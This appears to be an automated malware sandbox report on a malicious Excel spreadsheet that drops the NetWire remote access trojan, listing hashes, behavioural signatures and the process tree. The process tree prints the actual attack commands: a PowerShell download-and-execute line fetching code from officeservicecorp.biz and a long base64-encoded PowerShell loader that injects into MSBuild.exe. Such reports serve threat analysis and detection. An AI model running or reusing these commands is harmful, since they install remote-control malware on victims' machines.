Analysis
-
max time kernel
140s -
max time network
135s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
30-06-2020 06:36
Static task
static1
Behavioral task
behavioral1
Sample
WACKER - 000160847.xls
Resource
win7
General
-
Target
WACKER - 000160847.xls
-
Size
1.1MB
-
MD5
9e2c88810138b0856bda192ae70d34c4
-
SHA1
579853532fadf08ef8ed7369d6d596af619bdf5a
-
SHA256
612f288a358f6bfabc74937c10086107bede804413a5f6fd9e8f24f819669a0e
-
SHA512
eb6d05e14c0fcf4747970f3c1d9f227837a3ff04b88c5ad802c643453ee4978e4e080575016f4210e934d27a967e80cbf7c29f0e375a810be5067c94b52f1318
Malware Config
Extracted
http://officeservicecorp.biz/Lab.jpg
Signatures
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2804 EXCEL.EXE -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
EXCEL.EXEpowershell.exepowershell.exedescription pid process target process PID 2804 wrote to memory of 3840 2804 EXCEL.EXE powershell.exe PID 2804 wrote to memory of 3840 2804 EXCEL.EXE powershell.exe PID 3840 wrote to memory of 3692 3840 powershell.exe powershell.exe PID 3840 wrote to memory of 3692 3840 powershell.exe powershell.exe PID 3692 wrote to memory of 820 3692 powershell.exe MSBuild.exe PID 3692 wrote to memory of 820 3692 powershell.exe MSBuild.exe PID 3692 wrote to memory of 820 3692 powershell.exe MSBuild.exe PID 3692 wrote to memory of 820 3692 powershell.exe MSBuild.exe PID 3692 wrote to memory of 820 3692 powershell.exe MSBuild.exe PID 3692 wrote to memory of 820 3692 powershell.exe MSBuild.exe PID 3692 wrote to memory of 820 3692 powershell.exe MSBuild.exe PID 3692 wrote to memory of 820 3692 powershell.exe MSBuild.exe PID 3692 wrote to memory of 820 3692 powershell.exe MSBuild.exe PID 3692 wrote to memory of 820 3692 powershell.exe MSBuild.exe -
Blacklisted process makes network request 3 IoCs
Processes:
powershell.exepowershell.exeflow pid process 18 3840 powershell.exe 19 3692 powershell.exe 25 3692 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 3692 set thread context of 820 3692 powershell.exe MSBuild.exe -
NetWire RAT payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/820-2-0x0000000000400000-0x0000000000430000-memory.dmp netwire behavioral2/memory/820-4-0x0000000000400000-0x0000000000430000-memory.dmp netwire -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3840 2804 powershell.exe EXCEL.EXE -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3840 powershell.exe Token: SeDebugPrivilege 3692 powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3692 powershell.exe 3692 powershell.exe 3692 powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\WACKER - 000160847.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://officeservicecorp.biz/Lab.jpg')2⤵
- Suspicious use of WriteProcessMemory
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JABQAHMAYgBiAFkAVgBsAGIAawAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABUAFMAUQBuAEIAegBJAEIAYQBlAFoAcwBIAG4ASABvAGkAUQBiAG8ATwB1AFYAbQBQAFAAcABPAEQAbwBmAGcARABEAFIATwBGAGYAQQB2AEoAYQB0AFgAZQBnAHgAdwBuAFoAaQBrAHQAcABtAG4AQwBxAEYAaABsAE0AaQBwAEoAWQBRAFYAQwB5AHoAUwBJAHEAYwBmAGUAdwB2AGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAFAAcwBiAGIAWQBWAGwAYgBrACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AbwBmAGYAaQBjAGUAcwBlAHIAdgBpAGMAZQBjAG8AcgBwAC4AYgBpAHoALwByAG4AcAAuAHQAeAB0ACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAF4AIgAsACAAIgA0ADQAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAKgAiACwAIAAiADQAOAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAjACIALAAgACIANwA4ACIAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAVABTAFEAbgBCAHoASQBCAGEAZQBaAHMASABuAEgAbwBpAFEAYgBvAE8AdQBWAG0AUABQAHAATwBEAG8AZgBnAEQARABSAE8ARgBmAEEAdgBKAGEAdABYAGUAZwB4AHcAbgBaAGkAawB0AHAAbQBuAEMAcQBGAGgAbABNAGkAcABKAFkAUQBWAEMAeQB6AFMASQBxAGMAZgBlAHcAdgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAUABzAGIAYgBZAFYAbABiAGsALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAG8AZgBmAGkAYwBlAHMAZQByAHYAaQBjAGUAYwBvAHIAcAAuAGIAaQB6AC8AZgBpAGwAZQAuAHQAeAB0ACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACcAMAB4ACcAKQB8AEkARQBYADsAWwBDAC4ATQBdADoAOgBSACgAJwBNAFMAQgB1AGkAbABkAC4AZQB4AGUAJwAsACQAVABTAFEAbgBCAHoASQBCAGEAZQBaAHMASABuAEgAbwBpAFEAYgBvAE8AdQBWAG0AUABQAHAATwBEAG8AZgBnAEQARABSAE8ARgBmAEEAdgBKAGEAdABYAGUAZwB4AHcAbgBaAGkAawB0AHAAbQBuAEMAcQBGAGgAbABNAGkAcABKAFkAUQBWAEMAeQB6AFMASQBxAGMAZgBlAHcAdgApAA==3⤵
- Suspicious use of WriteProcessMemory
- Blacklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/820-2-0x0000000000400000-0x0000000000430000-memory.dmpFilesize
192KB
-
memory/820-3-0x000000000040242D-mapping.dmp
-
memory/820-4-0x0000000000400000-0x0000000000430000-memory.dmpFilesize
192KB
-
memory/3692-1-0x0000000000000000-mapping.dmp
-
memory/3840-0-0x0000000000000000-mapping.dmp